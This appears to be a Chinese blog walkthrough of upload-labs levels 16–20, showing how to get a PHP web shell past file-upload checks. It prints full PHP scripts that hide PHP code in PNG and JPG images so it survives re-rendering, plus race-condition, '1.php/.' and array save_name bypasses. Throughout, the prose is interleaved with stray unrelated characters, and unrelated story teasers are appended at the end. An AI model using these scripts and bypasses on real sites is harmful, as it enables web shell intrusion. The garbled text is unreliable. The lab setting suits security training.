由上面分析可知叉谜,如果想要繞過(guò)二次渲染的話,就要搞清楚二次渲染后牺勾,源文件哪些區(qū)域不會(huì)被修改或壓縮正罢。這里因?yàn)間if、jpg驻民、png三種不同圖片文件的文件格式不同翻具,所以圖片馬的構(gòu)造方法也不同,具體可以參考:https://xz.aliyun.com/t/2657
我這里也簡(jiǎn)單提煉寫(xiě)一下回还。

gif

gif二次渲染繞過(guò)說(shuō)是最簡(jiǎn)單的裆泳。將源文件和二次渲染過(guò)的文件進(jìn)行比較,找出源文件中沒(méi)有被修改的那段區(qū)域柠硕,在那段區(qū)域?qū)懭雙hp代碼即可工禾。
用UE的比較功能运提,可以迅速找到兩者匹配的地方。在匹配處寫(xiě)入php代碼即可闻葵。


image

png

png和jpg當(dāng)然沒(méi)有g(shù)if這么簡(jiǎn)單民泵。這里我也不細(xì)分析了(分析不來(lái)~~)
直接記個(gè)方法,將php代碼寫(xiě)入IDAT數(shù)據(jù)塊。
用國(guó)外大牛的腳本

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'./1.png');
?>

直接運(yùn)行該腳本生成1.png上傳即可槽畔,生成的1.png如下圖


image

jpg

jpg也是用國(guó)外大牛腳本

<?php
    /*
    The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
    It is necessary that the size and quality of the initial image are the same as those of the processed image.

    1) Upload an arbitrary image via secured files upload script
    2) Save the processed image and launch:
    jpg_payload.php <jpg_name.jpg>

    In case of successful injection you will get a specially crafted image, which should be uploaded again.

    Since the most straightforward injection method is used, the following problems can occur:
    1) After the second processing the injected data may become partially corrupted.
    2) The jpg_payload.php script outputs "Something's wrong".
    If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.

    Sergey Bobrov @Black2Fan.

    See also:
    https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

    */

    $miniPayload = "<?=phpinfo();?>";


    if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
        die('php-gd is not installed');
    }

    if(!isset($argv[1])) {
        die('php jpg_payload.php <jpg_name.jpg>');
    }

    set_error_handler("custom_error_handler");

    for($pad = 0; $pad < 1024; $pad++) {
        $nullbytePayloadSize = $pad;
        $dis = new DataInputStream($argv[1]);
        $outStream = file_get_contents($argv[1]);
        $extraBytes = 0;
        $correctImage = TRUE;

        if($dis->readShort() != 0xFFD8) {
            die('Incorrect SOI marker');
        }

        while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
            $marker = $dis->readByte();
            $size = $dis->readShort() - 2;
            $dis->skip($size);
            if($marker === 0xDA) {
                $startPos = $dis->seek();
                $outStreamTmp = 
                    substr($outStream, 0, $startPos) . 
                    $miniPayload . 
                    str_repeat("\0",$nullbytePayloadSize) . 
                    substr($outStream, $startPos);
                checkImage('_'.$argv[1], $outStreamTmp, TRUE);
                if($extraBytes !== 0) {
                    while((!$dis->eof())) {
                        if($dis->readByte() === 0xFF) {
                            if($dis->readByte !== 0x00) {
                                break;
                            }
                        }
                    }
                    $stopPos = $dis->seek() - 2;
                    $imageStreamSize = $stopPos - $startPos;
                    $outStream = 
                        substr($outStream, 0, $startPos) . 
                        $miniPayload . 
                        substr(
                            str_repeat("\0",$nullbytePayloadSize).
                                substr($outStream, $startPos, $imageStreamSize),
                            0,
                            $nullbytePayloadSize+$imageStreamSize-$extraBytes) . 
                                substr($outStream, $stopPos);
                } elseif($correctImage) {
                    $outStream = $outStreamTmp;
                } else {
                    break;
                }
                if(checkImage('payload_'.$argv[1], $outStream)) {
                    die('Success!');
                } else {
                    break;
                }
            }
        }
    }
    unlink('payload_'.$argv[1]);
    die('Something\'s wrong');

    function checkImage($filename, $data, $unlink = FALSE) {
        global $correctImage;
        file_put_contents($filename, $data);
        $correctImage = TRUE;
        imagecreatefromjpeg($filename);
        if($unlink)
            unlink($filename);
        return $correctImage;
    }

    function custom_error_handler($errno, $errstr, $errfile, $errline) {
        global $extraBytes, $correctImage;
        $correctImage = FALSE;
        if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
            if(isset($m[1])) {
                $extraBytes = (int)$m[1];
            }
        }
    }

    class DataInputStream {
        private $binData;
        private $order;
        private $size;

        public function __construct($filename, $order = false, $fromString = false) {
            $this->binData = '';
            $this->order = $order;
            if(!$fromString) {
                if(!file_exists($filename) || !is_file($filename))
                    die('File not exists ['.$filename.']');
                $this->binData = file_get_contents($filename);
            } else {
                $this->binData = $filename;
            }
            $this->size = strlen($this->binData);
        }

        public function seek() {
            return ($this->size - strlen($this->binData));
        }

        public function skip($skip) {
            $this->binData = substr($this->binData, $skip);
        }

        public function readByte() {
            if($this->eof()) {
                die('End Of File');
            }
            $byte = substr($this->binData, 0, 1);
            $this->binData = substr($this->binData, 1);
            return ord($byte);
        }

        public function readShort() {
            if(strlen($this->binData) < 2) {
                die('End Of File');
            }
            $short = substr($this->binData, 0, 2);
            $this->binData = substr($this->binData, 2);
            if($this->order) {
                $short = (ord($short[1]) << 8) + ord($short[0]);
            } else {
                $short = (ord($short[0]) << 8) + ord($short[1]);
            }
            return $short;
        }

        public function eof() {
            return !$this->binData||(strlen($this->binData) === 0);
        }
    }
?>

使用方法:

  1. 先將一張正常的jpg圖片上傳栈妆,上傳后將服務(wù)器存儲(chǔ)的二次渲染的圖片保存下來(lái)。
  2. 將保存下來(lái)經(jīng)過(guò)服務(wù)器二次渲染的那張jpg圖片厢钧,用此腳本進(jìn)行處理生成payload.jpg
  3. 然后再上傳payload.jpg

上面順序注意一下鳞尔,如果不成功的話,多換幾張的jpg試試

Pass-17 條件競(jìng)爭(zhēng)

代碼分析

$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    $upload_file = UPLOAD_PATH . '/' . $file_name;

    if(move_uploaded_file($temp_file, $upload_file)){
        if(in_array($file_ext,$ext_arr)){
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);
             $is_upload = true;
        }else{
            $msg = "只允許上傳.jpg|.png|.gif類型文件早直!";
            unlink($upload_file);
        }
    }else{
        $msg = '上傳出錯(cuò)寥假!';
    }
}

不難發(fā)現(xiàn),這里是先move_uploaded_file函數(shù)將上傳文件臨時(shí)保存霞扬,再進(jìn)行判斷糕韧,如果不在白名單里則unlink刪除,在的話就rename重命名祥得,所以這里存在條件競(jìng)爭(zhēng)兔沃。

繞過(guò)方法

用burp開(kāi)啟兩個(gè)intruder模塊,一個(gè)用于重復(fù)上傳级及,另一個(gè)用于重復(fù)訪問(wèn)。
1额衙、先設(shè)置上傳請(qǐng)求,記住此處的文件名饮焦,等下要用來(lái)拼接訪問(wèn)請(qǐng)求的url


image

2、因?yàn)榇颂帥](méi)有什么參數(shù)需要爆破窍侧,只是需要重復(fù)發(fā)起請(qǐng)求县踢,所以payload設(shè)置為Null payloads,設(shè)置訪問(wèn)次數(shù)5000次,線程50個(gè)


image

接下來(lái)設(shè)置訪問(wèn)請(qǐng)求
1伟件、瀏覽器構(gòu)造請(qǐng)求url:http://127.0.0.1/upload-labs-master/upload/miracle778.php,進(jìn)行訪問(wèn)硼啤,然后用burp抓包
2、burp抓包后發(fā)送至intruder模塊斧账,然后設(shè)置payload谴返,這一步和上傳請(qǐng)求設(shè)置差不多,都是Null payloads、5000次咧织、50個(gè)線程

image

設(shè)置好兩個(gè)模塊后同時(shí)啟動(dòng)嗓袱,觀察結(jié)果,因?yàn)槲覀儌魅氲膒hp代碼是phpinfo();,所以如果訪問(wèn)成功的話习绢,會(huì)返回php的配置信息渠抹。

image

可以看到蝙昙,5000次里有3次訪問(wèn)成功,剩下的訪問(wèn)次數(shù)里梧却,有小部分是狀態(tài)碼返回200奇颠,但執(zhí)行出錯(cuò)
image

剩下大部分訪問(wèn)結(jié)果是狀態(tài)碼是404。
由此可得出結(jié)論放航,條件競(jìng)爭(zhēng)繞過(guò)存在一定概率大刊,實(shí)踐中如果一次不成功,可以多試幾次三椿。

Pass-18 條件競(jìng)爭(zhēng)

代碼分析

這里代碼太長(zhǎng)缺菌,就不貼了,簡(jiǎn)單截個(gè)圖


image

可以看到搜锰,這里先將上傳的文件保存(move函數(shù))伴郁,再rename重命名一下。所以也存在條件競(jìng)爭(zhēng)蛋叼,繞過(guò)方法和上面Pass-17差不多焊傅,這里就不重復(fù)寫(xiě)了。

繞過(guò)方法

參照Pass-17

Pass-19 ./繞過(guò)

代碼分析

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

        $file_name = $_POST['save_name'];
        $file_ext = pathinfo($file_name,PATHINFO_EXTENSION);

        if(!in_array($file_ext,$deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) { 
                $is_upload = true;
            }else{
                $msg = '上傳出錯(cuò)狈涮!';
            }
        }else{
            $msg = '禁止保存為該類型文件狐胎!';
        }

    } else {
        $msg = UPLOAD_PATH . '文件夾不存在,請(qǐng)手工創(chuàng)建!';
    }
}

這里關(guān)于pathinfo的說(shuō)明如下圖


image

可以看到歌馍,這里img_path可控(通過(guò)post sava_name)握巢,所以可以利用move_uploaded_file的\x00截?cái)?save_name=1.php%00.jpg)繞過(guò),但\x00截?cái)嘀瓣P(guān)卡已經(jīng)出現(xiàn)過(guò)了,這里明顯是考察別的知識(shí)點(diǎn)松却。
于是網(wǎng)上找找別人的答案暴浦,發(fā)現(xiàn)考點(diǎn)是:move_uploaded_file會(huì)忽略掉文件末尾的/.
所以可以構(gòu)造save_path=1.php/.,這樣file_ext值就為空,就能繞過(guò)黑名單晓锻,而move_uploaded_file函數(shù)忽略文件末尾的/.可以實(shí)現(xiàn)保存文件為.php

繞過(guò)方法

  1. post: save_name = 1.php%00.jpg
  2. post: save_name = 1.php/.

Pass-20 數(shù)組/.繞過(guò)

代碼分析

$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
    //檢查MIME
    $allow_type = array('image/jpeg','image/png','image/gif');
    if(!in_array($_FILES['upload_file']['type'],$allow_type)){
        $msg = "禁止上傳該類型文件!";
    }else{
        //檢查文件名
        $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
        if (!is_array($file)) {
            $file = explode('.', strtolower($file));
        }

        $ext = end($file);
        $allow_suffix = array('jpg','png','gif');
        if (!in_array($ext, $allow_suffix)) {
            $msg = "禁止上傳該后綴文件!";
        }else{
            $file_name = reset($file) . '.' . $file[count($file) - 1];
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $msg = "文件上傳成功歌焦!";
                $is_upload = true;
            } else {
                $msg = "文件上傳失敗砚哆!";
            }
        }
    }
}else{
    $msg = "請(qǐng)選擇要上傳的文件独撇!";
}

可以看到,上面第6行先進(jìn)行了一個(gè)Content-Type判斷躁锁,10-13行纷铣,如果save_name是字符串的話就通過(guò)explode函數(shù),將post進(jìn)去的save_name轉(zhuǎn)成小寫(xiě)后按'.'打散成數(shù)組灿里。而15-20行里的file_name會(huì)經(jīng)過(guò)`reset(file) . '.' . file[count(file) - 1];處理关炼,而&#36;file[count(&#36;file)-1]和end(&#36;file)是相等的,也就是說(shuō)匣吊,如果save_name是字符串形式傳入的話儒拂,想要繞過(guò)白名單話寸潦,file_name必為gif、png社痛、jpg见转,無(wú)法達(dá)到上傳php的目的。 所以save_name不能以字符串形式傳入蒜哀。而應(yīng)該以數(shù)組形式傳入算行,從而繞過(guò)explode過(guò)程进泼,構(gòu)建特殊數(shù)組崎弃,使得end(&#36;file)能繞過(guò)白名單惶桐,而&#36;file[count(&#36;file) - 1]不等于jpg或png或gif。這里可以構(gòu)造save_name[0] = 1.php/,save_name[2] = jpg`,這樣的話end($file)為jpg淀歇,而$file[count($file) - 1]為$file[1]為空易核。所以最終file_name=1.php/.,到這里就跟Pass-19一樣了。

繞過(guò)方法

如圖


image

小小總結(jié)

這個(gè)20關(guān)做下來(lái)浪默,感覺(jué)大多數(shù)文件上傳類型都講到了牡直。這個(gè)項(xiàng)目官方github上面也有一張總結(jié)圖,感覺(jué)挺到位纳决,就拿過(guò)來(lái)好了碰逸。


image

參考鏈接

Upload-labs 20關(guān)通關(guān)筆記
Upload-labs之pass 16詳細(xì)分析

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個(gè)濱河市阔加,隨后出現(xiàn)的幾起案子饵史,更是在濱河造成了極大的恐慌,老刑警劉巖掸哑,帶你破解...
    沈念sama閱讀 206,378評(píng)論 6 481
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件约急,死亡現(xiàn)場(chǎng)離奇詭異,居然都是意外死亡苗分,警方通過(guò)查閱死者的電腦和手機(jī),發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 88,356評(píng)論 2 382
  • 文/潘曉璐 我一進(jìn)店門(mén)牵辣,熙熙樓的掌柜王于貴愁眉苦臉地迎上來(lái)摔癣,“玉大人,你說(shuō)我怎么就攤上這事纬向≡褡牵” “怎么了?”我有些...
    開(kāi)封第一講書(shū)人閱讀 152,702評(píng)論 0 342
  • 文/不壞的土叔 我叫張陵逾条,是天一觀的道長(zhǎng)琢岩。 經(jīng)常有香客問(wèn)我,道長(zhǎng)师脂,這世上最難降的妖魔是什么担孔? 我笑而不...
    開(kāi)封第一講書(shū)人閱讀 55,259評(píng)論 1 279
  • 正文 為了忘掉前任江锨,我火速辦了婚禮,結(jié)果婚禮上糕篇,老公的妹妹穿的比我還像新娘啄育。我一直安慰自己,他們只是感情好拌消,可當(dāng)我...
    茶點(diǎn)故事閱讀 64,263評(píng)論 5 371
  • 文/花漫 我一把揭開(kāi)白布挑豌。 她就那樣靜靜地躺著,像睡著了一般墩崩。 火紅的嫁衣襯著肌膚如雪氓英。 梳的紋絲不亂的頭發(fā)上,一...
    開(kāi)封第一講書(shū)人閱讀 49,036評(píng)論 1 285
  • 那天鹦筹,我揣著相機(jī)與錄音铝阐,去河邊找鬼。 笑死盛龄,一個(gè)胖子當(dāng)著我的面吹牛饰迹,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播余舶,決...
    沈念sama閱讀 38,349評(píng)論 3 400
  • 文/蒼蘭香墨 我猛地睜開(kāi)眼啊鸭,長(zhǎng)吁一口氣:“原來(lái)是場(chǎng)噩夢(mèng)啊……” “哼!你這毒婦竟也來(lái)了匿值?” 一聲冷哼從身側(cè)響起赠制,我...
    開(kāi)封第一講書(shū)人閱讀 36,979評(píng)論 0 259
  • 序言:老撾萬(wàn)榮一對(duì)情侶失蹤,失蹤者是張志新(化名)和其女友劉穎挟憔,沒(méi)想到半個(gè)月后钟些,有當(dāng)?shù)厝嗽跇?shù)林里發(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 43,469評(píng)論 1 300
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡绊谭,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 35,938評(píng)論 2 323
  • 正文 我和宋清朗相戀三年政恍,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片达传。...
    茶點(diǎn)故事閱讀 38,059評(píng)論 1 333
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡篙耗,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出宪赶,到底是詐尸還是另有隱情宗弯,我是刑警寧澤,帶...
    沈念sama閱讀 33,703評(píng)論 4 323
  • 正文 年R本政府宣布搂妻,位于F島的核電站蒙保,受9級(jí)特大地震影響,放射性物質(zhì)發(fā)生泄漏欲主。R本人自食惡果不足惜邓厕,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 39,257評(píng)論 3 307
  • 文/蒙蒙 一逝嚎、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧邑狸,春花似錦懈糯、人聲如沸。這莊子的主人今日做“春日...
    開(kāi)封第一講書(shū)人閱讀 30,262評(píng)論 0 19
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)。三九已至硅堆,卻和暖如春屿储,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背渐逃。 一陣腳步聲響...
    開(kāi)封第一講書(shū)人閱讀 31,485評(píng)論 1 262
  • 我被黑心中介騙來(lái)泰國(guó)打工够掠, 沒(méi)想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留,地道東北人茄菊。 一個(gè)月前我還...
    沈念sama閱讀 45,501評(píng)論 2 354
  • 正文 我出身青樓疯潭,卻偏偏與公主長(zhǎng)得像,于是被迫代替她去往敵國(guó)和親面殖。 傳聞我的和親對(duì)象是個(gè)殘疾皇子竖哩,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 42,792評(píng)論 2 345

推薦閱讀更多精彩內(nèi)容

  • 文件上傳漏洞 常見(jiàn)的漏洞分類服務(wù)器配置不當(dāng)導(dǎo)致文件上傳開(kāi)源編輯器存在上傳漏洞本地文件上傳限制可以上傳被繞過(guò)服務(wù)器端...
    二潘閱讀 17,014評(píng)論 2 3
  • pass-01 嘗試上傳一個(gè)php,發(fā)現(xiàn)提示不行脊僚。 前端js攔截了相叁,先將php文件后綴改為允許的格式,比如jpg辽幌,...
    BuFFERer閱讀 4,653評(píng)論 0 1
  • 中間件漏洞 IIS IIS6.0文件解析 xx.asp;.jpg IIS6.0目錄解析 xx.asp/1.jpg ...
    l0st閱讀 591評(píng)論 0 1
  • 一個(gè)幫你總結(jié)所有類型的上傳漏洞的靶場(chǎng) Pass-01 在js中發(fā)現(xiàn)校驗(yàn)文件后綴的函數(shù)增淹,我們添加php類型后在控制臺(tái)...
    2mpossible閱讀 4,897評(píng)論 0 5
  • 今天早晨醒來(lái)已是7點(diǎn)多了,外面還在下雨乌企。 兒女起床后虑润,我們一起吃過(guò)早飯,我和女兒一起學(xué)英...
    梁佳碩媽媽閱讀 211評(píng)論 0 1